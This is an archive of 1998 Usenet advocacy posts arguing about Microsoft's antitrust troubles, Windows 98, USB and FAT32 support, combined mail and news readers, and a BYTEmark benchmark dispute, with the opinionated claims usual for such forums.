> >> >Not really, since Windows95 and Windows98 are almost exactly the
same...
> >>
> >> Yes, really. They've been spending QA time testing something which
isn't
> >> going to ship. That's a waste. It won't leave them pleased.
> >
> >Nobody said it won't ever ship, its just going to be delayed, so that
> >money wasn't necessarily wasted. (they are still at fault if they wasted
> >so much time and money on a vapourware product as to suffer significant
> >loss)
>
>
> I'm curious. Do you define "beta" as "vaporware"? These companies have
been
> working with betas and release candidates for some time. That's fairly
solid
> vapor.
>
> >>
> >> >->Would consumers who want to upgrade their existing systems by
adding
> >> large
> >> >->hard disks be impacted by the lack of FAT32 support in
Win95-retail?
> >> >
> >> >Umm, Windows95 supports Fat32... (and you have yet to make a point)
> >>
> >> Kindly distinguish Win95 OSR2 from the retail release. My laptop
supports
> >> FAT32 (with no convert utility), but my old Gateway 486 does not. If I
> want
> >> FAT32 on my Gateway system (and if I'm not a thief), then I need
Windows
> 98.
> >
> >OSR2 *IS* Win95, its just a newer version, don't try to play "lawyer
> >ball" here, either argue the real issue or don't argue at all, but
> >nit-picking minor details doesn't accomplish anything.
> >
>
>
> Again, this is not a minor detail. You can't go buy OSR2, so it doesn't
> matter to a consumer looking for an upgrade product. It's the same as
though
> it didn't exist.
>
Once again, because MS said NO not because it isn't there to sell. There
is a financial motive here. Upgrades usually sell in the $50.00 range so
the $100.00 being asked for Windows98 is unwarranted. IMHO it's still
Win95 and not Win98.
> [snip]
>
> >> An old principal of free speech applies here as well.
> >>
> >> Freedom of speech is intended to protect those we most hate. In the
> process,
> >> it protects the rest of us.
> >>
> >> If we allow the states to arbitrarily harrass any company they want
to,
> then
> >> pretty soon they'll be harrassing you.
> >
> >Well you see, there is a flaw in your logic, they aren't "arbitrarily
> >harassing" Microsoft, MS has given them due cause to investigate, and
> >so, they are.
>
>
> Sorry, Jeremy, I wish it was that simple. First, it's not the
investigation
> that's the problem. The problem is stopping the shipment of Windows 98.
> Second, and I apparently need to reiterate this, the states are ganging
up
> on a company for the purpose of extorting money from them. This is new. I
do
> not know of another case before the tobacco settlement. Maybe there have
> been some and I just didn't notice. But in the tobacco case, we had the
> State Attourneys General using extortion tactics: "If you will pay us, we
> won't keep you in court for the next ten years". I know they've done this
> before as individual states, but I think this ganging up is new.
>
You definitely have a point here. Looks like the states may have found an
implicit power that they were unaware of before. Kinda decentralizes
things doesn't it? Whether or not that will be good - only time will tell.
> Hey, I wonder if Microsoft could use the RICO laws against the States?
:-)
>
> Thanks,
> John Saunders
> jws@jws.ultranet.com
>
--
=======================================
codifex@airmail.NOSPAM.net
bgravitt@vha.NOSPAM.com
=======================================
My opinions are mine alone - though others may borrow...
From: dpetticord@hotmail.com
Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft
Subject: Re: MS -"What Hurts Us, Hurts Industry" - LOAD OF B.S.!
Date: Fri, 08 May 1998 19:32:43 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <6ivmks$o8s$1@nnrp1.dejanews.com>
References: <6il92r$3cl@bgtnsc01.worldnet.att.net> <6imcmk$oj1$3@ligarius.ultra.net> <stone-ya02408000R0505980240210001@news.enetis.net> <6inoup$ejt$1@gte2.gte.net> <rmcassid-0505981303570001@dante.eng.uci.edu> <6ipuo7$606$1@strato.ultra.net> <rmcassid-0605981338290001@dante.eng.uci.edu>
In article <rmcassid-0605981338290001@dante.eng.uci.edu>,
rmcassid@uci.edu (Robert Cassidy) wrote:
>
Bob,
I am new to Deja News. Now, I see that you did reply to my previous post.
I apologize for accusing you of ignoring it.
Please feel free to e-mail me directly.
(That goes for anyone wishing to ensure I "get the message")
You made some good points. I will re-respond at length later.
Thanks (and again, "sorry"),
David Petticord
-----== Posted via Deja News, The Leader in Internet Discussion ==-----
http://www.dejanews.com/ Now offering spam-free web-based newsreading
Newsgroups: comp.sys.next.advocacy
Subject: Re: Mail.app (Re: MSNBC : NeXT-Windows compatibility issue)
From: phenix@interpath.com (John Moreno)
Message-ID: <1d8pv67.7o787lqz5wfjN@roxboro0-034.dyn.interpath.net>
References: <6icrin$6ra@newsb.netnews.att.com> <354A18DE.2819BDD3@nstar.net> <6iclo4$oth$6@ns3.vrx.net> <354A267F.4681@CONVEX.COM> <6icq9p$sq$1@ns3.vrx.net> <354A3627.21CA@CONVEX.COM> <6id2hs$6oi$1@ns3.vrx.net> <6ijcbt$d0u$1@news.cmc.net> <6ijusb$kos$2@ns3.vrx.net> <6il1qa$em7$1@cronkite.cygnus.com> <354E1312.20EA@CONVEX.COM> <6illkc$em7$2@cronkite.cygnus.com> <6imlnj$nkm$2@ns3.vrx.net> <6injcb$bk4$1@crib.bevc.blacksburg.va.us> <354f7928.0@news.depaul.edu> <6indtv$c0h$5@ns3.vrx.net> <rmcassid-0505981451530001@dante.eng.uci.edu> <6ip8au$oum$10@ns3.vrx.net> <SCOTT.98May6131834@slave.doubleu.com> <6irt0u$r1i$2@ns3.vrx.net> <6iv77u$j0f$1@crib.bevc.blacksburg.va.us> <6iup7q$7c9$1@ns3.vrx.net> <6ivgsg$jfl$1@crib.bevc.blacksburg.va.us> <6iv3d3$ekq$1@ns3.vrx.net>
Organization: phenix@interpath.com
?'D1cB]L9V=\OS(\8S,5
Mail-Copies-To: never
Date: Fri, 08 May 1998 20:00:29 GMT
NNTP-Posting-Date: Fri, 08 May 1998 13:00:29 PDT
Maury Markowitz <maury@remove_this.istar.ca> wrote:
> In <6ivgsg$jfl$1@crib.bevc.blacksburg.va.us> Nathan Urban claimed:
> > > This is the default behaviour of almost all newsreaders I know - a
> > > double click opens a new window, whereas a "get next message" (often
> > > space) reuses the same window. Works perfectly.
> >
> > In other words, the way to make it manageable is: "ignore the feature"
>
> *blink*
>
> No, the way they did it was to add another feature - open-in-same-window.
> Lots of programs do this. Even FirstClass managed it.
I believe the point is that the user has to mainly ignore the feature
for it to work.
> > Yup. Works perfectly. If you double-clicked on everything rather than
> > spacing to the next message, it would be unmanageable.
>
> Is that an argument of some sort? This thread is about creating good
> interfaces to do this stuff. This feature strikes me as absolutely on topic.
If I'm reading it right it's a argument - it's saying that that feature
as described and with no limits isn't a good thing.
> I can think of many ways to make interfaces that DON'T work for mail -
> display everything upside down for instance. That does not strike me as
> worthy discussion idea.
Opening a new window for every mail message isn't a problem since the
quantity of mail that you will be receiving at any one time is probably
low enough to make it manageable, the same thing does not apply to news,
I believe he's pointing that fact out - mail and news are similar and
can be handled in similar manners, but you need to be aware of the
differences (as in my vacation notice example).
They CAN be profitably handled by the same program, but you seem to be
saying that is the ONLY way to handle them - which is what I believe
most people are objecting to.
If you had the perfect combined mail/news agent and it took advantages
of the similarities while still keeping in mind the differences, I don't
think anybody would say - you can't use that, or even *I* wouldn't use
that BECAUSE it's a combined program (but perfect is a subjective
statement so they might have other reasons for saying the same thing,
and one of those reasons might be that they don't like the way the
combination works).
--
John Moreno
From: Michael Peck <MJPECK@CONVEX.COM>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Mail.app (Re: MSNBC : NeXT-Windows compatibility issue)
Date: Fri, 08 May 1998 13:46:07 -0500
Organization: Hewlett Packard - High Performance Systems Division, Richardson, TX USA
Message-ID: <355352EF.29F9@CONVEX.COM>
References: <6icrin$6ra@newsb.netnews.att.com> <6iup7q$7c9$1@ns3.vrx.net> <6ivgsg$jfl$1@crib.bevc.blacksburg.va.us> <3553486B.F9995DF1@nstar.net> <6ivi0r$jip$1@crib.bevc.blacksburg.va.us>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Nathan Urban wrote:
> Err, no. What Maury said was that in almost all newsreaders that he
> knows, double-clicking on every message opens a new window, whereas
> "get next message" (often space) reuses the same window.
And he's right. I was wrong. Sorry.
MJP
From: r.e.ballard@usa.net
Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft
Subject: Re: MS -"What Hurts Us, Hurts Industry" - LOAD OF B.S.!
Date: Sat, 09 May 1998 02:43:13 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <6j0fs1$mam$1@nnrp1.dejanews.com>
References: <6il92r$3cl@bgtnsc01.worldnet.att.net> <6imcmk$oj1$3@ligarius.ultra.net> <6in9be$jdd$1@inconnu.isu.edu> <6iooms$clv$1@ligarius.ultra.net> <354FFAFE.6D97E316@delphi.com> <6ipuoa$606$4@strato.ultra.net> <01bd7ab7$831c0f60$8383050a@bgravitt.CORP.VHA.COM>
In article <01bd7ab7$831c0f60$8383050a@bgravitt.CORP.VHA.COM>,
"VHA PC Development" <codifex@airmail.net> wrote:
> John Saunders <jws@jws.ultranet.com> wrote in article
> <6ipuoa$606$4@strato.ultra.net>...
> > Jeremy Crabtree wrote in message <354FFAFE.6D97E316@delphi.com>...
> > >John Saunders wrote:
> > >> Craig Kelley wrote in message <6in9be$jdd$1@inconnu.isu.edu>...
> > >> >In article <6imcmk$oj1$3@ligarius.ultra.net>,
> > >> >John Saunders <jws@jws.ultranet.com> wrote:
Before we get started. Much of this thread is similar to
"What's good for General Motors is good for the country".
General Motors and Chrysler snubbed the Volkswagon and
other "small cars" as "toys" and designed in "Built in
Obsolesence" altering tolerances to make sure that cars
would be replaced every 100,000 miles. Meanwhile Honda
and Toyota, along with Volkswagon made cars that were
small, affordable, reliable, fuel efficient, loaded with
"standard options" and ran for over 200,000 miles, even
without routine scheduled maintenance. GM and Chrysler
pushed very hard to protect their markets from these foreign
upstarts, lobbying Congress and using import restrictions.
Eventually, Chrysler needed a "bail-out", GM and Ford laid
off Millions of workers, and the Steel workers became the
enhabitants of the "Rust Belt".
Microsoft has staged a "Revolution" every 2-3 years, rendering
their own systems obsolete within 4 years of purchase, they made
minimal attempt to manage reliability and proceeded to consume
memory, CPU, and Hard Drive faster than the manufacturers could
produce it. Often, new Microsoft Products seemed slow on the newest
machine when compared to the previous product on last year's machine.
After 20 years of bullying around dealers and manufacturers, even
threatening to revoke the OEM licences of companies like Compaq, Microsoft
in now facing at least 1 competitor which has the backing of at least
3 corporations (Linux), and is also facing competition from several
rising stars including SCO, Sun, BSDi, and FreeBSD, not to mention
BEOs and the new Apple operating system.
To protect it's market, Microsoft has engaged in some of the most blatently
illegal anticompetitive measures in it's contracting with both OEMs and
major Fortune 500 customers. The spirit, intent, and language of the
contracts are blatant violations of the Sherman Antitrust act and the
Clayton Act. The DOJ, which was thumbcuffed by it's settlement on
Windows 95 was unable to challenge Microsoft over practices used
in Windows 95, but is now unrestricted in it's ability to prosecute
Microsoft for anticompetitive practices and language used in licenses
involving Windows 98. To make matters even more interesting, several
states with their own antitrust laws are also going after Microsoft.
In additition to the money involved in possible judgments against Microsoft,
there are also potential bonuses as restrictions on Microsoft promote
the growth of companies outside of the Seattle Washington area.
A shift to UNIX and Linux could be profitable to California, North Carolina,
Colorado, New York, Arizona, the Southeast from Richmond to Atlanta,
and most of the Northeast, all of which have companies that have been
chomping at the bit for a fair shot at Microsoft, all of which have
companies directly threatened by Microsoft expansion into Media, Stock
Brokerages (Microsoft Investor), Travel (Expedia), Car Dealerships
(CarPoint), Real Estate, and Tourism (Sidewalk).
> > >> >->Would the vendors of USB peripherals be hurt if
> > >> >->there is no mainstream
> > >> >->operating system that supports USB?
So in order to give USB vendors a break, we should bankrupt
travel agents, car dealerships, and all the other enterprises
that Microsoft will destroy by taking control of the Internet
through control of the browser and operating system.
At what point will Microsoft send the "automatic upgrade" that
disables the "obsolete" HTML and requires an "authenticating
ActiveX control" plug-in as part of every XML page.
Perhaps, when the government has taken 70% in taxes, and Microsoft
has taken 20% in "royalties", "license fees", and "viggorish" as Myrvold
calls it. We can all move to a retirement home made out of cardboard
boxes in Sodona Arizona. Those who can't afford the "desert rental"
payment to Microsoft Real Estate, will be taken to the Graybar Hotel.
> > >> >Umm, Windows95 supports USB (as does Linux...)
Will Linux support USB as implemented in Win98?
> > >> I don't think so... Please provide confirmation of this.
> > >> USB is being talked
> > >> up as new in Windows 98.
Perhaps some new (proprietary) extensions to USB are NEW?
How many vendors will support these new features?
USB has been around for a while now, but it's pretty easy to guess
that Microsoft has collected
> > >> Maybe you mean that OSR2 supports USB?
> > >
> > >Exactly, Win95 supports USB. (though, the importance of USB seems to be
> > >negligable as of late)
> > >
> >
> >
> > Jeremy,
> >
> > If I can't go to the store and buy it, then for me and for most
> consumers,
> > it doesn't exist. I would be able to buy Windows 98.
You will probably be able to buy a box labled Windows 98 with a CD
containing the appropriate binaries. You will probably also need to
buy more RAM, special peripherals, and a hard drive if your computer
is more than 6 months old.
Furthermore, the applications such as Office, will be licensed to the
machine. If your employer let you take a copy of Office at home so that
you could work at home, they will have to pay Microsoft for the separate
License. It's one of those little "hidden costs" that won't be noticed
until Microsoft starts "collecting".
> > I've been reading that
> > the USB hardware vendors have been waiting for a
> > Windows 98 as a platform
> > for their hardware before making a big marketing push.
This may be more of a Microsoft Marketing issue than anything. The hardware
and software for USB has been out for months, but vendors have been at the
mercy of Microsoft, who has been diddling with the interface. Until the
official release hits the streets, a peripheral maker could sell boxes
that would have to be retrofitted to support the various changes.
> So, why doesn't MS release a USB service pak for them?
It will probably be out for NT shortly after Win98 is released. Microsoft
wants you to pay $95 for Win98 ($200 if you can't prove you have a legal
copy of Win95). It is not in Microsoft's interest to provide full support
for USB on 95. Microsoft has enough of a "legacy problem".
Microsoft has 200 million PCs running Win95 that could be worth 2 billion
just for operating system upgrades. At the same time, the OEMs want to
sell 200 million PCs that run Win98 that will replace the PCs running
Win95. If your company must pay $4000/seat ($2000/PC, $1000 install & maint,
$1000 in MS Office licenses,...) how many people will your company have
to lay off (or your parent's company if you are students) to pay for Win98?
If the average worker makes $40,000, you will have to release 10%. Maybe
that 10% will buy the computers your company will be throwing away, because
they are "obsolete" (can't run Win98).
> Did MS develop USB alone?
Actually, USB was originally a Motorola Creation. Microsoft "adopted it",
presumably to keep people from adding hard drives (and Linux/UNIX) to PCs.
By adding a few proprietary "extensions", they gain complete control of
the bus.
> If so then they should get paid *something* for releasing code that
> makes it workable, but if not then they are making the whole industry wait.
The code has been around since the Commodore 64. Microsoft is using this
cheap gimmick as a way to intimidate vendors into not supporting anything
other than Windows 98.
> In other words, *They* would be responsible for hurting the industry.
Give the man a CIGAR! Such a bright boy.
> > >> >->Would companies which have been testing their
> > >> >->products against Windows 98 be
> > >> >->concerned if Windows 98 didn't ship?
Yes, because they have been "in limbo" for almost a year now, waiting
for Microsoft to sell enough CD-ROMs to prevent it from "changing the
rules".
> > >Nobody said it won't ever ship, its just going to be delayed, so that
> > >money wasn't necessarily wasted. (they are still at fault if they wasted
> > >so much time and money on a vapourware product as to suffer significant
> > >loss)
USB is not a bad idea. It's like a serial equivalent to SCSI.
Unfortunately, Microsoft has been doctoring the protocols and promising
"new features" (protocol incompatibility) with Windows 98. It's a bit
like discovering, after installing Windows 98 that your ethernet can no
longer speak TCP/IP.
> > I'm curious. Do you define "beta" as "vaporware"?
> >These companies have been
> > working with betas and release candidates for some time.
> > That's fairly solid vapor.
Software protocols can be easily changed, and easily monitored. Microsoft
could add new commands that could crash the firmware in the periphirals
even as late as 1 week AFTER release. Even that is no guarantee. Look
at the "Enhancements" Microsoft has made to it's Web servers and browsers.
Imagine having spend years developing a really great web browser only to
have it broket by Windows 98 because the server put ActiveX controls on
every page and required execution of the control before releasing the content.
Then imagine that Microsoft also put up a browser that would not retrieve
a page unless it recieved the ActiveX control first.
In a matter of weeks, the entire internet would be split into those with
windows 98, and those without. Now, imagine that Microsoft started giving
away the ISP service and bargain rate products, but only to those using
Windows 98. It might take a bit longer, but it can be done.
In less than 6 months, Microsoft would be able to bankrupt any travel agent,
car dealer, realtor, stock broker, bank, or any other service that did not
use the special token.
One the competition was driven out, Microsoft could change the token
required, and charge any price it wanted to every vendor still in existance.
Ultimately, Microsoft would do to every other industry what it has done
to the PC industry. Mr. Gates does not like competitors, especially
competitors to companies he "owns" (holds controlling interest).
> > >> >->Would consumers who want to upgrade their existing
> > >> >->systems by adding large
> > >> >->hard disks be impacted by the lack of FAT32 support in
> Win95-retail?
Most consumers capable of upgrading their systems by adding large
hard disks also have the capacity to use other systems. They would
easily be able to create a Linux partition. This is not a "good thing"
to Microsoft.
> > >> >Umm, Windows95 supports Fat32... (and you have yet to make a point)
Will Win98 support NTFS? E2FS? Even Fat32 is limited. Let's at least
get beyond the 1024 cylinder barrier. We're pushing the limits of LBA now.
> > >> Kindly distinguish Win95 OSR2 from the retail release.
> > >> My laptop supports
> > >> FAT32 (with no convert utility), but my old Gateway 486 does not.
> > >> If I want
> > >> FAT32 on my Gateway system (and if I'm not a thief), then I need
> > >> Windows 98.
You need either Windows 98 or Windows 95 OSR2 (Windows 97 :-).
> > >OSR2 *IS* Win95, its just a newer version, don't try to play "lawyer
> > >ball" here, either argue the real issue or don't argue at all, but
> > >nit-picking minor details doesn't accomplish anything.
> > Again, this is not a minor detail. You can't go buy OSR2, so it doesn't
> > matter to a consumer looking for an upgrade product. It's the same as
> though
> > it didn't exist.
Don't the Windows 95 "Upgrades" currently on the shelves support Win32?
> Once again, because MS said NO not because it isn't there to sell. There
> is a financial motive here. Upgrades usually sell in the $50.00 range so
> the $100.00 being asked for Windows98 is unwarranted. IMHO it's still
> Win95 and not Win98.
Actually, if MS says no, they are the final authority. MS reserves the
right to revoke your license at any time, for any reason.
> > [snip]
> > >> An old principal of free speech applies here as well.
> > >>
> > >> Freedom of speech is intended to protect those we most hate.
> > >> In the process, it protects the rest of us.
Freedom of speech protects us in two ways. By assuring the minority
a voice, worthy ideals can be advanced regardless of the lunatic who
originated them. By assuring the extremist a voice, his opponants
can hear his arguments and propose counterpoints.
True innovation comes from the "in between" of the dialogue. When you
only preach to your own choir, nobody gets saved, and nobody learns how
to reach the people who need the preaching the most. When you learn
the language of the enemy, you can begin to make the difference.
> > >> If we allow the states to arbitrarily harrass any company
> > >>they want to, then
> > >> pretty soon they'll be harrassing you.
The government regulates banks, to keep them from taking your hard earned
deposits to the Bahamas. They regulate realtors, to keep them from
tricking you into buying a house built on a swamp. They regulate stock
brokers, to keep them from investing in their mother's money laundering
operation. They regulate insurance companies, to make sure that when
you do file a claim, there will be money to pay the benefit. They regulate
Car dealers, to keep them from selling cars that are unsafe to drive to
people who not prepared to make them safe.
In the last 12 months, Microsoft has used the Internet to effectively provide
the services provided by banks, stock brokerages, travel agents, insurance
companies, realtors, and car dealerships, even establishing a vested interest
that could constitute a conflict of interest.
To protect these interests, Microsoft has engaged in practices which have
been ruled as illegal and anticompetitive when used by companies such as
IBM, Data General, AT&T, Chrysler, Toys'R'Us, and McDonalds.
Bill Gates fortune is only partially represented by Microsoft. He also
owns stakes in competitor companies (some of which he has actually destroyed).
He own stakes in companies that are directly impacted by the efforts of
Microsoft. If Bill Gates was a stock broker, there would have been a
thorough investigation years ago. Today, Microsoft Investor effectively
provides the same advice that would be given by a stock broker.
> > >Well you see, there is a flaw in your logic, they aren't "arbitrarily
> > >harassing" Microsoft, MS has given them due cause to investigate, and
> > >so, they are.
Microsoft has created "negotiating leverage" that is tantamount to
pointing a loaded gun at the other party. When Microsoft approaches
a Dell, Compaq, Micron, or Gateway, these companies don't have the
option of walking away from the deal. As a result, Microsoft can
dictate conditions that no responsible businessman would ever agree to.
When Compaq attempted to create product differentiation by using the
Netscape Navigator as the "face", Microsoft gave them notice of intent
to terminate their license. Even though it might have increased the
profit margins, improved revenues, and even increased market share,
meaning higher earnings/share and higher stock prices for Compaq,
the leadership of Compaq had no choice but to turn what had been planned
as a premium product into a commodity product. About the only difference
between PCs today is the curve of the plastic case.
> > Sorry, Jeremy, I wish it was that simple. First, it's not the
> > investigation
> > that's the problem. The problem is stopping the shipment of Windows 98.
> > Second, and I apparently need to reiterate this, the states
> > are ganging up
> > on a company for the purpose of extorting money from them.
More appropriately, several states are ganging up on a company that has
been extorting money from their constituants. Texas (Compaq country)
several other states want to protect the interests of some of their
better employers. States that don't "side up" will find it very hard
to attract high-tech firms, not to mention firms that use PCs.
Microsoft is now so big that it effectively collects a "tax" of nearly
$1000/worker/year in the United States. Microsoft is now using the
internet and it's control of the browser to increase that stake to
as much as $4000/year.
> > This is new.
Not at all. Teddy Roosevelt went after trusts when he was governer of
New York. Many states instituted Public Utilities Commissions to regulate
monopolies such as Telephone, Electricity, Gas, and even transportation.
In many states, these commissions act primarily in the interests of the
consumer.
Microsoft, and Bill Gates has extended their holdings into many heavily
regulated industries. Through their monopoly of the PC operating system,
they hold the "sword of Damacles" over the heads of some of the largest
companies in the world.
> > I do
> > not know of another case before the tobacco settlement. Maybe there have
> > been some and I just didn't notice. But in the tobacco case, we had the
> > State Attourneys General using extortion tactics: "If you will pay us, we
> > won't keep you in court for the next ten years". I know they've done this
> > before as individual states, but I think this ganging up is new.
Check again, AT&T, IBM, most Utilities, most banks, and most financial
institutions would dispute your claim. Bill Gates has publicly demanded
that he not be "micromanaged by the government", yet he holds controlling
interests in thousands of companies and industries that are micromanaged
by the government.
This is not about which browser Icon sits on your desktop, it's about
whether your bank will forclose on your mortgage because your employer
can't compete with a company favored by the "Microsoft Syndicate".
Gates only likes competition when he is the new entry into the game, once
he has established his presence, he plays the game of "Risk", wiping out
competitors, one at a time, until he has total control of the entire game,
the few players left are merely tokens, pawns to be "teased" so that
Gates can savor his victory.
> You definitely have a point here.
> Looks like the states may have found an
> implicit power that they were unaware of before.
> Kinda decentralizes things doesn't it?
Things needed to be decentralised. The DOJ did such a botch up job that
they ended up thumbcuffed by a document that wasn't worth the paper that
it was written on. Microsoft reserved some "Standard Practices" such
as price tiers, but the DOJ placed no restrictions, allowing Microsoft
to create price tiers that made it less expensive to buy licenses for
more machines than were manufactured than to buy licenses for fewer machines
leaving room for competition for niches of 10-20% of the market.
The left a loophole that allowed Microsoft to make "Enhancements to
the Operating System" but never retained approval rights, allowing
microsoft to declare browsers, word processors, spreadsheets, and
presentation graphics to be "Operating System Enhancements" (The ActiveX
controls in Internet Explorer 4.0 are designed to make Office 97 documents
the sole "De Facto" standard for all documents used by windows. HTML
is a "legacy system waiting to transition to XML" which will then allow
Microsoft to use XML to force all documents to be delivered as ActiveX
controls.
> Whether or not that will be good - only time will tell.
Unfortunately, the States are unlikely to fare much better than the Feds.
Gates is a shrewd negotiator, making huge loopholes seem like minor
concessions. He can take the points he needs to have to get absolute
control of all future negotiations and make them look like "pro-forma"
points, barely worth mentioning.
Take at least one hour to really study the Microsoft End User License
Agreement. Take another hour to really study the MSN End User agreement.
You may discover that you have revoked every single one of your
constitutional rights (privacy, security, due process, bear arms,
free speech, assembly... for the price of a "free" web browser.
> > Hey, I wonder if Microsoft could use the RICO laws against the States?
I'm just surprised that no one has use the RICO laws against Microsoft.
> :-)
> >
> > Thanks,
> > John Saunders
> > jws@jws.ultranet.com
> codifex@airmail.NOSPAM.net
> bgravitt@vha.NOSPAM.com
> My opinions are mine alone - though others may borrow...
Good, Microsoft will be forwarding them to your employer and his
competitors, along with his customers, vendors, and prospects.
Rex Ballard - http://www.access.digex.net/~rballard
-----== Posted via Deja News, The Leader in Internet Discussion ==-----
http://www.dejanews.com/ Now offering spam-free web-based newsreading
From: maury@remove_this.istar.ca (Maury Markowitz)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Mail.app (Re: MSNBC : NeXT-Windows compatibility issue)
Date: 8 May 1998 14:04:19 GMT
Organization: I used to be organized, then they canceled the Newton.
Message-ID: <6iv3d3$ekq$1@ns3.vrx.net>
References: <6icrin$6ra@newsb.netnews.att.com> <6irt0u$r1i$2@ns3.vrx.net>
<6iv77u$j0f$1@crib.bevc.blacksburg.va.us> <6iup7q$7c9$1@ns3.vrx.net>
<6ivgsg$jfl$1@crib.bevc.blacksburg.va.us>
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Cc: nurban@crib.bevc.blacksburg.va.us
In <6ivgsg$jfl$1@crib.bevc.blacksburg.va.us> Nathan Urban claimed:
=> > This is the default behaviour of almost all newsreaders I know - a
double
> > click opens a new window, whereas a "get next message" (often space)
reuses
> > the same window. Works perfectly.
>
> In other words, the way to make it manageable is: "ignore the feature"
*blink*
No, the way they did it was to add another feature - open-in-same-window.
Lots of programs do this. Even FirstClass managed it.
> Yup. Works perfectly. If you double-clicked on everything rather than
> spacing to the next message, it would be unmanageable.
Is that an argument of some sort? This thread is about creating good
interfaces to do this stuff. This feature strikes me as absolutely on topic.
I can think of many ways to make interfaces that DON'T work for mail -
display everything upside down for instance. That does not strike me as
worthy discussion idea.
Maury
From: maury@remove_this.istar.ca (Maury Markowitz)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Mail.app (Re: MSNBC : NeXT-Windows compatibility issue)
Date: 8 May 1998 16:18:41 GMT
Organization: I used to be organized, then they canceled the Newton.
Message-ID: <6ivb91$k58$1@ns3.vrx.net>
References: <6icrin$6ra@newsb.netnews.att.com> <354A18DE.2819BDD3@nstar.net>
<6iclo4$oth$6@ns3.vrx.net> <354A267F.4681@CONVEX.COM>
<6icq9p$sq$1@ns3.vrx.net> <354A3627.21CA@CONVEX.COM>
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<354f7928.0@news.depaul.edu> <6indtv$c0h$5@ns3.vrx.net>
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<SCOTT.98May6131834@slave.doubleu.com> <6irt0u$r1i$2@ns3.vrx.net>
<6iv77u$j0f$1@crib.bevc.blacksburg.va.us> <6iup7q$7c9$1@ns3.vrx.net>
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Cc: phenix@interpath.com
In <1d8pv67.7o787lqz5wfjN@roxboro0-034.dyn.interpath.net> John Moreno
claimed:
> > No, the way they did it was to add another feature -
open-in-same-window.
> > Lots of programs do this. Even FirstClass managed it.
>
> I believe the point is that the user has to mainly ignore the feature
> for it to work.
That sounds like natural design to me!
Use normal command - get normal behaviour.
Use new command - get new behaviour.
Where exactly is the problem here? The fact that there's a new command?
The fact that it works in every program I've used? The fact that no one
seems to have a problem with it?
> If I'm reading it right it's a argument - it's saying that that feature
> as described and with no limits isn't a good thing.
Then why is it no one has ever had this problem?
> Opening a new window for every mail message isn't a problem since the
> quantity of mail that you will be receiving at any one time is probably
> low enough to make it manageable
Let me make sure I'm understanding your argument - the fact that an
interface works in one case and not another is a bad thing. Therefore the
whole thing is bad. How is it that a clear and obvious fix, one in
widespread use, has no effect on your argument?
Sheesh, talk about a brick wall thread! Sure, interfaces can not work
under some cases. Yes, some interfaces don't scale well. But they've found
solutions to these problems. So how is it still a problem?
Doc, it hurts when I open my messages all in the same window...
> I believe he's pointing that fact out - mail and news are similar and
> can be handled in similar manners, but you need to be aware of the
> differences (as in my vacation notice example).
Which is also handled perfectly in any good program! Do not allow
autoreplies to newsgroups. Done.
> They CAN be profitably handled by the same program, but you seem to be
> saying that is the ONLY way to handle them - which is what I believe
> most people are objecting to.
I've REPEATEDLY stated I think it's BETTER that way. OBVIOUSLY it can be
handled by two programs, because I'm USING two programs.
But that's not what this thread is about lately, it's about how it's
"unwise" to make a combined app because of all of these mythical differences
between the two systems. I say if you think there's any real difference then
you're thinking "inside the box".
Maury
From: "Mark Micklich" <SRFPCI1@pacbell.net>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: If Rhapsody is alive...
Date: Fri, 8 May 1998 14:54:38 -0700
Organization: Pacific Bell Internet Services
Message-ID: <6ivv6u$k1g$1@nnrp2.snfc21.pbi.net>
References: <6i1ghg$1kn$2@ns3.vrx.net> <B177917C-3EDD9@207.217.155.113> <6iumsv$4f3$8@ironhorse.plsys.co.uk>
This is a quote from www.apple.com regarding Rhapsody...
"The unified release of Rhapsody is scheduled for shipment in mid 1998."
What is considered mid-1998? June thru July?
From: jason@jhste1.dyn.ml.org (Jason S.)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Byte deletes binaries and puts up apple tweaked binary???
Date: 8 May 1998 23:18:16 GMT
Organization: I don't think so
Message-ID: <slrn6l74ql.1b2.jason@jhste1.dyn.ml.org>
References: <6iovd2$f0c$2@newsfep3.sprintmail.com> <djboccip-0605981313420001@qburst.msfc.nasa.gov> <6iqh48$p4t$2@newsfep1.sprintmail.com> <joe.ragosta-0805981110530001@wil126.dol.net> <6ivfd4$ntb$2@newsfep2.sprintmail.com>
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macghod@concentric.net wrote:
>THe proof was on Apple's web page, and others verified what I said. Apple
>admitted THEY did the test, with their own engineers in their own lab. Since
>you know ZERO about programming you dont understand what is meant by tweaking
>the compiler.
>IF intel did the test in their lab, they would do any and every optimization
>to tweak the compiler into getting better results. You still havent answered
>the following:
>if one week their were two binaries on the byte web page, one which gave a p2
>300 a 5.54, and another which gave it a 7.54 (see eric bennets web page for
>confirmation), THEN intel did a test in ITS OWN LAB WITH ITS OWN ENGINEERS,
>USING A DR OF A COMPILER VERSION WHICH BYTE HAD NEVER USED, AND INTEL GOT A
>SCORE OF 9.1, would you not think thats fishy?
BYTE has been using Moto SDK DR 3.0 since the November 1996 issue to test
Mac hardware. That BYTE didn't bother to put the binary that it has been
using in its own tests (and which Apple used as well) on its website until
recently is beside the point.
>No. In fact, the BYTEmark executables we've used to test both have been
>constant and unchanged for two years. Despite repeated attempts by
>manufacturers to "break" them, they©ve produced remarkably consistent results
>from processor to processor.
>They claim the bytemark executables have been constant and unchanged for two
>years, yet, on april 6 the deleted the 2 executables that produced low scores
>for macs, and replaced them with what apple used to get a high score.
Call it poor website maintenance, nothing more. See above.
--
If FreeBSD actually did that, I would concede that FreeBSD was any more
"correct" than Linux is, but not even the FreeBSD people can justify
that kind of performance loss.
-- Linus Torvalds on comp.unix.advocacy
From: jason@jhste1.dyn.ml.org (Jason S.)
Newsgroups: comp.sys.next.advocacy,comp.sys.windows.advocacy,comp.sys.mac.advocacy
Subject: Re: OPEN LETTER TO Dr. Gregory Mankiw REGARDING MICROSOFT
Date: 8 May 1998 23:45:06 GMT
Organization: I don't think so
